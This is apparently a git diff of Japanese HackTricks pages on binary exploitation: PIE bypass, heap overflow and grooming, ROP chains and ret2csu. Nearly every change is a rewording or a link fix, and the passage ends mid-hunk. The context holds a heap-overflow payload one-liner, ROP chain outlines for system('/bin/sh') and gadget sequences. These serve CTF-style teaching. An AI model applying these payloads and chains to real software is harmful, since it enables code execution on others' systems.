また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。
|
また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。
|
||||||
|
|
||||||
## バイパス
|
## バイパス
|
||||||
|
|
||||||
PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります:
|
PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります:
|
||||||
|
|
||||||
- **ASLRを無効にする**:ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
|
- **ASLRを無効にする**: ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
|
||||||
- 漏洩を**与えられる**(簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
- 漏洩を**与えられる**(簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||||
- スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる:
|
- スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる:
|
||||||
|
|
||||||
@ -23,7 +23,7 @@ PIEをバイパスするには、**ロードされたバイナリのアドレス
|
|||||||
bypassing-canary-and-pie.md
|
bypassing-canary-and-pie.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- [**フォーマットストリング**](../../format-strings/)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させ(前の技術のようにスタックから)、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
- [**フォーマットストリング**](../../format-strings/index.html)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させる(例:前の技術のようにスタックから)ことで、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
|
||||||
|
|
||||||
## 参考文献
|
## 参考文献
|
||||||
|
|
||||||
|
@ -4,9 +4,9 @@
|
|||||||
|
|
||||||
## 基本情報
|
## 基本情報
|
||||||
|
|
||||||
ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを保存するために予約されたスペースがあり、**保存されたデータが予約されたスペースよりも大きいことを意味します。**
|
ヒープオーバーフローは[**スタックオーバーフロー**](../stack-overflow/index.html)のようなもので、ヒープ内で発生します。基本的には、ヒープ内にデータを保存するために予約されたスペースがあり、**保存されたデータが予約されたスペースよりも大きいことを意味します。**
|
||||||
|
|
||||||
スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**。ただし、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれをどのように悪用できるかに**依存**します。
|
スタックオーバーフローでは、命令ポインタやスタックフレームのようなレジスタがスタックから復元されることがわかっており、これを悪用することが可能です。ヒープオーバーフローの場合、**デフォルトでヒープチャンクに保存される機密情報はありません**。ただし、機密情報やポインタが含まれる可能性があるため、この脆弱性の**重要性**は**上書きされる可能性のあるデータ**と、攻撃者がこれを悪用する方法に**依存**します。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> オーバーフローオフセットを見つけるためには、[**スタックオーバーフロー**](../stack-overflow/index.html#finding-stack-overflows-offsets)と同じパターンを使用できます。
|
> オーバーフローオフセットを見つけるためには、[**スタックオーバーフロー**](../stack-overflow/index.html#finding-stack-overflows-offsets)と同じパターンを使用できます。
|
||||||
@ -15,15 +15,15 @@
|
|||||||
|
|
||||||
スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリが増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。
|
スタックオーバーフローでは、脆弱性がトリガーされる瞬間にスタックに存在するデータの配置がかなり信頼できます。これは、スタックが線形であり、常に衝突するメモリが増加し、**プログラムの実行中の特定の場所でスタックメモリは通常同様の種類のデータを格納し**、各関数によって使用されるスタック部分の末尾にいくつかのポインタがあるためです。
|
||||||
|
|
||||||
しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常、メモリの別々の位置にあります**(隣接していない)**ビンとゾーン**によってサイズで割り当てが分けられ、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されるため**です。ヒープオーバーフローに対して脆弱なオブジェクトと衝突するオブジェクトを知るのは**複雑です**。したがって、ヒープオーバーフローが見つかった場合、**オーバーフロー可能なオブジェクトの次にメモリに配置されるようにする信頼できる方法を見つける必要があります**。
|
しかし、ヒープオーバーフローの場合、使用されるメモリは線形ではなく、**割り当てられたチャンクは通常メモリの別々の位置にあります**(隣接していない)し、**サイズによって割り当てを分けるためのビンやゾーン**があるため、**以前に解放されたメモリが新しいチャンクを割り当てる前に使用されます**。したがって、ヒープオーバーフローに対して衝突するオブジェクトを知るのは**複雑です**。したがって、ヒープオーバーフローが見つかった場合、**オーバーフロー可能なオブジェクトの隣にメモリ内で目的のオブジェクトを配置する信頼できる方法を見つける必要があります**。
|
||||||
|
|
||||||
このために使用される技術の1つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを使い果たしたとき、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用される方法が説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。
|
このために使用される技術の一つが**ヒープグルーミング**で、例えば[**この投稿**](https://azeria-labs.com/grooming-the-ios-kernel-heap/)で説明されています。この投稿では、iOSカーネルでゾーンがメモリを使い果たしたときに、カーネルページによって拡張され、このページが期待されるサイズのチャンクに分割され、順番に使用される方法が説明されています(iOSバージョン9.2まで、その後はこれらのチャンクがランダム化された方法で使用され、攻撃の悪用を困難にします)。
|
||||||
|
|
||||||
したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローされたオブジェクトが被害者のオブジェクトと衝突するように強制するために、**複数のスレッドによって複数の`kalloc`が強制され、すべての解放されたチャンクが埋められ、新しいページが作成されることを試みます**。
|
したがって、ヒープオーバーフローが発生している前の投稿では、オーバーフローしたオブジェクトが被害者のオブジェクトと衝突するように強制するために、**複数のスレッドによって複数の`kalloc`が強制され、すべての空きチャンクが埋められ、新しいページが作成されることを試みます**。
|
||||||
|
|
||||||
特定のサイズのオブジェクトでこの埋め込みを強制するために、**iOSマッチポートに関連するアウトオブライン割り当て**が理想的な候補です。メッセージのサイズを調整することで、`kalloc`割り当てのサイズを正確に指定でき、対応するマッチポートが破棄されると、対応する割り当ては即座に`kfree`に戻されます。
|
特定のサイズのオブジェクトでこの埋め込みを強制するために、**iOSマッチポートに関連するアウトオブライン割り当て**が理想的な候補です。メッセージのサイズを調整することで、`kalloc`割り当てのサイズを正確に指定でき、対応するマッチポートが破棄されると、対応する割り当ては即座に`kfree`に戻されます。
|
||||||
|
|
||||||
その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`のフリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、攻撃がオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがこのオブジェクトの後に続く可能性が高いことを意味します。
|
その後、これらのプレースホルダーのいくつかを**解放**できます。**`kalloc.4096`のフリーリストは、後入れ先出しの順序で要素を解放します**。これは基本的に、いくつかのプレースホルダーが解放され、攻撃がオーバーフローに脆弱なオブジェクトを割り当てようとする際に、被害者オブジェクトがそのオブジェクトの後に続く可能性が高いことを意味します。
|
||||||
|
|
||||||
### 例 libc
|
### 例 libc
|
||||||
|
|
||||||
@ -35,14 +35,14 @@
|
|||||||
|
|
||||||
### 例 ARM64
|
### 例 ARM64
|
||||||
|
|
||||||
ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに保存されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単なエクスプロイトで上書きすることで、実行されるコマンドを変更することが可能です:
|
ページ[https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/)では、実行されるコマンドがオーバーフローしたチャンクの次のチャンクに保存されるヒープオーバーフローの例を見つけることができます。したがって、次のような簡単な攻撃を使用して、実行されるコマンドを上書きすることが可能です。
|
||||||
```bash
|
```bash
|
||||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||||
```
|
```
|
||||||
### 他の例
|
### その他の例
|
||||||
|
|
||||||
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||||
- 整数オーバーフローの脆弱性を利用してヒープオーバーフローを引き起こします。
|
- 整数オーバーフローの脆弱性を利用してヒープオーバーフローを引き起こします。
|
||||||
- オーバーフローしたチャンクの `struct` 内の関数へのポインタを破損させ、`system` のような関数を設定してコード実行を得ます。
|
- オーバーフローしたチャンクの`struct`内の関数へのポインタを破損させ、`system`のような関数を設定してコード実行を得ます。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -10,34 +10,34 @@
|
|||||||
|
|
||||||
1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。
|
1. **制御フローのハイジャック**: まず、攻撃者はプログラムの制御フローをハイジャックする必要があります。通常はバッファオーバーフローを利用して、スタック上の保存された戻りアドレスを上書きします。
|
||||||
2. **ガジェットの連鎖**: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。
|
2. **ガジェットの連鎖**: 次に、攻撃者は慎重にガジェットを選択し、目的のアクションを実行するために連鎖させます。これには、関数呼び出しの引数を設定し、関数を呼び出し(例: `system("/bin/sh")`)、必要なクリーンアップや追加の操作を処理することが含まれます。
|
||||||
3. **ペイロードの実行**: 脆弱な関数が戻ると、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
|
3. **ペイロードの実行**: 脆弱な関数が戻るとき、正当な場所に戻るのではなく、ガジェットの連鎖を実行し始めます。
|
||||||
|
|
||||||
### ツール
|
### ツール
|
||||||
|
|
||||||
通常、ガジェットは [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) または **pwntools** から直接見つけることができます ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))。
|
通常、ガジェットは [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget)、[**ropper**](https://github.com/sashs/Ropper) または **pwntools** から直接見つけることができます ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html))。
|
||||||
|
|
||||||
## x86におけるROPチェーンの例
|
## x86のROPチェーンの例
|
||||||
|
|
||||||
### **x86 (32ビット) 呼び出し規約**
|
### **x86 (32ビット) 呼び出し規約**
|
||||||
|
|
||||||
- **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。**
|
- **cdecl**: 呼び出し元がスタックをクリーンアップします。関数引数は逆順(右から左)でスタックにプッシュされます。**引数は右から左にスタックにプッシュされます。**
|
||||||
- **stdcall**: cdeclに似ていますが、呼び出し先がスタックのクリーンアップを担当します。
|
- **stdcall**: cdeclに似ていますが、呼び出し先がスタックをクリーンアップする責任を負います。
|
||||||
|
|
||||||
### **ガジェットの発見**
|
### **ガジェットの発見**
|
||||||
|
|
||||||
まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです:
|
まず、バイナリまたはそのロードされたライブラリ内で必要なガジェットを特定したと仮定します。私たちが興味を持っているガジェットは次のとおりです:
|
||||||
|
|
||||||
- `pop eax; ret`: このガジェットはスタックのトップ値を `EAX` レジスタにポップし、その後戻ります。これにより `EAX` を制御できます。
|
- `pop eax; ret`: このガジェットはスタックのトップの値を `EAX` レジスタにポップし、その後戻ります。これにより `EAX` を制御できます。
|
||||||
- `pop ebx; ret`: 上記と同様ですが、`EBX` レジスタ用で、`EBX` を制御できるようにします。
|
- `pop ebx; ret`: 上記と同様ですが、`EBX` レジスタ用で、`EBX` を制御できるようにします。
|
||||||
- `mov [ebx], eax; ret`: `EAX` の値を `EBX` が指すメモリ位置に移動し、その後戻ります。これはしばしば **write-what-where gadget** と呼ばれます。
|
- `mov [ebx], eax; ret`: `EAX` の値を `EBX` が指すメモリ位置に移動し、その後戻ります。これはしばしば **write-what-where gadget** と呼ばれます。
|
||||||
- さらに、`system()` 関数のアドレスも利用可能です。
|
- さらに、`system()` 関数のアドレスも利用可能です。
|
||||||
|
|
||||||
### **ROPチェーン**
|
### **ROPチェーン**
|
||||||
|
|
||||||
**pwntools** を使用して、次のように `system('/bin/sh')` を実行するためにROPチェーンの実行のためにスタックを準備します。チェーンは次のように始まります:
|
**pwntools** を使用して、次のように ROPチェーンの実行のためにスタックを準備します。`system('/bin/sh')` を実行することを目指し、チェーンが次のように始まることに注意してください:
|
||||||
|
|
||||||
1. アライメント目的のための `ret` 命令(オプション)
|
1. アライメント目的のための `ret` 命令(オプション)
|
||||||
2. `system` 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/) を参照)
|
2. `system` 関数のアドレス(ASLRが無効で、libcが既知であると仮定、詳細は [**Ret2lib**](ret2lib/index.html) を参照)
|
||||||
3. `system()` からの戻りアドレスのプレースホルダー
|
3. `system()` からの戻りアドレスのプレースホルダー
|
||||||
4. `"/bin/sh"` 文字列のアドレス(system関数のパラメータ)
|
4. `"/bin/sh"` 文字列のアドレス(system関数のパラメータ)
|
||||||
```python
|
```python
|
||||||
@ -75,24 +75,24 @@ p.interactive()
|
|||||||
```
|
```
|
||||||
## ROP Chain in x64 Example
|
## ROP Chain in x64 Example
|
||||||
|
|
||||||
### **x64 (64-bit) 呼び出し規約**
|
### **x64 (64-bit) Calling conventions**
|
||||||
|
|
||||||
- **System V AMD64 ABI** 呼び出し規約を Unix 系システムで使用し、**最初の6つの整数またはポインタ引数はレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9` に渡されます**。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
- **System V AMD64 ABI** コール規約を使用し、Unix系システムでは **最初の6つの整数またはポインタ引数がレジスタ `RDI`, `RSI`, `RDX`, `RCX`, `R8`, および `R9` に渡されます**。追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
||||||
- **Windows x64** 呼び出し規約は最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
- **Windows x64** コール規約では、最初の4つの整数またはポインタ引数に `RCX`, `RDX`, `R8`, および `R9` を使用し、追加の引数はスタックに渡されます。戻り値は `RAX` に置かれます。
|
||||||
- **レジスタ**: 64ビットレジスタには `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, および `R8` から `R15` までが含まれます。
|
- **レジスタ**: 64ビットレジスタには `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, および `R8` から `R15` までが含まれます。
|
||||||
|
|
||||||
#### **ガジェットの発見**
|
#### **Finding Gadgets**
|
||||||
|
|
||||||
私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェット(**"/bin/sh"** 文字列を **system()** に引数として渡すため)に焦点を当て、次に **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します:
|
私たちの目的のために、**RDI** レジスタを設定することを可能にするガジェットに焦点を当てましょう(**"/bin/sh"** 文字列を **system()** に引数として渡すため)そしてその後 **system()** 関数を呼び出します。以下のガジェットを特定したと仮定します:
|
||||||
|
|
||||||
- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、次に戻ります。**system()** の引数を設定するために不可欠です。
|
- **pop rdi; ret**: スタックのトップ値を **RDI** にポップし、その後戻ります。**system()** の引数を設定するために不可欠です。
|
||||||
- **ret**: 単純なリターンで、いくつかのシナリオでスタックの整列に役立ちます。
|
- **ret**: シンプルなリターンで、いくつかのシナリオでスタックの整列に役立ちます。
|
||||||
|
|
||||||
そして、**system()** 関数のアドレスを知っています。
|
そして、**system()** 関数のアドレスを知っています。
|
||||||
|
|
||||||
### **ROP Chain**
|
### **ROP Chain**
|
||||||
|
|
||||||
以下は、**pwntools** を使用して **system('/bin/sh')** を **x64** で実行することを目的とした ROP チェーンを設定し、実行する例です:
|
以下は、**pwntools** を使用して **system('/bin/sh')** を **x64** で実行することを目的とした ROP チェーンを設定し実行する例です:
|
||||||
```python
|
```python
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
@ -130,17 +130,17 @@ p.interactive()
|
|||||||
この例では:
|
この例では:
|
||||||
|
|
||||||
- **`pop rdi; ret`** ガジェットを利用して **`RDI`** を **`"/bin/sh"`** のアドレスに設定します。
|
- **`pop rdi; ret`** ガジェットを利用して **`RDI`** を **`"/bin/sh"`** のアドレスに設定します。
|
||||||
- **`RDI`** を設定した後、チェーン内の **system()** のアドレスで **`system()`** に直接ジャンプします。
|
- **`RDI`** を設定した後、チェーン内の **system()** のアドレスに直接ジャンプします。
|
||||||
- ターゲット環境が必要とする場合、**`ret_gadget`** がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために **x64** でより一般的です。
|
- ターゲット環境が必要とする場合、**`ret_gadget`** がアライメントのために使用されます。これは、関数を呼び出す前に適切なスタックアライメントを確保するために **x64** でより一般的です。
|
||||||
|
|
||||||
### スタックアライメント
|
### スタックアライメント
|
||||||
|
|
||||||
**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、このアライメントを必要とします。スタックが正しくアライメントされていない場合(つまり **RSP** が16の倍数でない場合)、**ROPチェーン** での **system** などの関数への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。
|
**x86-64 ABI** は、**call命令** が実行されるときに **スタックが16バイトアライメント** されることを保証します。**LIBC** はパフォーマンスを最適化するために、**SSE命令**(例えば **movaps**)を使用し、これにはこのアライメントが必要です。スタックが正しくアライメントされていない場合(つまり **RSP** が16の倍数でない場合)、**ROPチェーン** での **system** への呼び出しは失敗します。これを修正するには、ROPチェーンで **system** を呼び出す前に **ret gadget** を追加するだけです。
|
||||||
|
|
||||||
## x86とx64の主な違い
|
## x86とx64の主な違い
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> **x64は最初のいくつかの引数にレジスタを使用するため、** 簡単な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数が増え、アドレス空間が大きくなることは、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
|
> **x64は最初のいくつかの引数にレジスタを使用するため、** 単純な関数呼び出しにはx86よりも少ないガジェットを必要とすることが多いですが、レジスタの数が増え、アドレス空間が大きくなるため、適切なガジェットを見つけてチェーンすることはより複雑になる可能性があります。**x64** アーキテクチャのレジスタの数の増加とアドレス空間の拡大は、特にリターン指向プログラミング(ROP)の文脈において、エクスプロイト開発にとって機会と課題の両方を提供します。
|
||||||
|
|
||||||
## ARM64のROPチェーンの例
|
## ARM64のROPチェーンの例
|
||||||
|
|
||||||
@ -154,27 +154,27 @@ p.interactive()
|
|||||||
|
|
||||||
## ROPに対する保護
|
## ROPに対する保護
|
||||||
|
|
||||||
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。
|
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html):これらの保護は、ガジェットのアドレスが実行間で変わるため、ROPの使用を困難にします。
|
||||||
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/): BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。
|
- [**スタックカナリア**](../common-binary-protections-and-bypasses/stack-canaries/index.html):BOFの場合、ROPチェーンを悪用するためにリターンポインタを上書きするためにスタックカナリアをバイパスする必要があります。
|
||||||
- **ガジェットの不足**: ガジェットが十分でない場合、ROPチェーンを生成することは不可能です。
|
- **ガジェットの不足**:十分なガジェットがない場合、ROPチェーンを生成することは不可能です。
|
||||||
|
|
||||||
## ROPベースの技術
|
## ROPベースの技術
|
||||||
|
|
||||||
ROPは任意のコードを実行するための技術に過ぎないことに注意してください。ROPに基づいて多くのRet2XXX技術が開発されました:
|
ROPは任意のコードを実行するための技術に過ぎないことに注意してください。ROPに基づいて多くのRet2XXX技術が開発されました:
|
||||||
|
|
||||||
- **Ret2lib**: ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は `system('/bin/sh')` のようなもの)。
|
- **Ret2lib**:ROPを使用して、任意のパラメータでロードされたライブラリから任意の関数を呼び出します(通常は `system('/bin/sh')` のようなもの)。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ret2lib/
|
ret2lib/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Ret2Syscall**: ROPを使用して、`execve` などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。
|
- **Ret2Syscall**:ROPを使用して、`execve` などのシステムコールを呼び出す準備をし、任意のコマンドを実行させます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
rop-syscall-execv/
|
rop-syscall-execv/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **EBP2Ret & EBPチェイニング**: 最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されます(ただしEIPも制御する必要があります)。
|
- **EBP2Ret & EBPチェイニング**:最初のものはEIPの代わりにEBPを悪用してフローを制御し、2番目はRet2libに似ていますが、この場合は主にEBPアドレスでフローが制御されます(ただしEIPも制御する必要があります)。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
|
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
|
||||||
@ -184,7 +184,7 @@ rop-syscall-execv/
|
|||||||
|
|
||||||
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||||
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
|
||||||
- 64ビット、Pieとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする、フラグを漏洩させる関数の一部を取得するための部分的な上書き
|
- 64ビット、PIEとnxが有効、カナリアなし、`vsyscall` アドレスでRIPを上書きし、スタック内の次のアドレスに戻ることを唯一の目的とする部分的な上書き
|
||||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||||
- arm64、ASLRなし、スタックを実行可能にし、スタック内のシェルコードにジャンプするためのROPガジェット
|
- arm64、ASLRなし、スタックを実行可能にし、スタック内のシェルコードにジャンプするためのROPガジェット
|
||||||
|
|
||||||
|
@ -8,7 +8,7 @@
|
|||||||
|
|
||||||
**ret2csu** は、プログラムを制御しようとする際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。
|
**ret2csu** は、プログラムを制御しようとする際に、通常使用する **gadgets** を見つけられない場合に使用されるハッキング技術です。
|
||||||
|
|
||||||
プログラムが特定のライブラリ(libcなど)を使用している場合、プログラムの異なる部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。
|
プログラムが特定のライブラリ(libcなど)を使用している場合、異なるプログラムの部分が互いに通信する方法を管理するためのいくつかの組み込み関数があります。これらの関数の中には、特に `__libc_csu_init` と呼ばれる、私たちの欠けているgadgetsとして機能する隠れた宝石があります。
|
||||||
|
|
||||||
### __libc_csu_init の魔法のガジェット
|
### __libc_csu_init の魔法のガジェット
|
||||||
|
|
||||||
@ -28,14 +28,14 @@ ret;
|
|||||||
|
|
||||||
2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います:
|
2. 2番目のシーケンスは、設定した値を使用していくつかのことを行います:
|
||||||
- **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。
|
- **特定の値を他のレジスタに移動**し、関数のパラメータとして使用できるようにします。
|
||||||
- **r15とrbxの値を足し合わせ、次にrbxを8倍することによって決定された場所にコールを実行**します。
|
- **r15とrbxの値を足し合わせ、rbxを8倍することによって決定された場所にコールを実行**します。
|
||||||
```armasm
|
```armasm
|
||||||
mov rdx, r15;
|
mov rdx, r15;
|
||||||
mov rsi, r14;
|
mov rsi, r14;
|
||||||
mov edi, r13d;
|
mov edi, r13d;
|
||||||
call qword [r12 + rbx*8];
|
call qword [r12 + rbx*8];
|
||||||
```
|
```
|
||||||
3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わる**ことに注意してくださいが、それに到達するためにはいくつかの**条件**を満たす必要があります:
|
3. もしかしたら、そこに書き込むアドレスを知らないかもしれませんし、**`ret` 命令が必要です**。2番目のガジェットも**`ret` で終わりますが**、それに到達するためにはいくつかの**条件を満たす必要があります**:
|
||||||
```armasm
|
```armasm
|
||||||
mov rdx, r15;
|
mov rdx, r15;
|
||||||
mov rsi, r14;
|
mov rsi, r14;
|
||||||
@ -50,7 +50,7 @@ ret
|
|||||||
条件は次のとおりです:
|
条件は次のとおりです:
|
||||||
|
|
||||||
- `[r12 + rbx*8]` は呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがなく、PIEがない場合は、単に `_init` 関数を使用できます):
|
- `[r12 + rbx*8]` は呼び出し可能な関数を格納しているアドレスを指している必要があります(アイデアがなく、PIEがない場合は、単に `_init` 関数を使用できます):
|
||||||
- `_init` が `0x400560` にある場合、GEFを使用してメモリ内のポインタを検索し、`[r12 + rbx*8]` を `_init` へのポインタを持つアドレスにします:
|
- `_init` が `0x400560` にある場合、GEFを使用してそれへのポインタをメモリ内で検索し、`[r12 + rbx*8]` を `_init` へのポインタを持つアドレスにします:
|
||||||
```bash
|
```bash
|
||||||
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
|
||||||
gef➤ search-pattern 0x400560
|
gef➤ search-pattern 0x400560
|
||||||
@ -79,12 +79,12 @@ brop-blind-return-oriented-programming.md
|
|||||||
|
|
||||||
### コールを使用する
|
### コールを使用する
|
||||||
|
|
||||||
`write()` のようなシステムコールや関数を呼び出したいが、`rdx` と `rsi` レジスタに特定の値が必要な場合を想像してください。通常、これらのレジスタを直接設定するガジェットを探しますが、見つかりません。
|
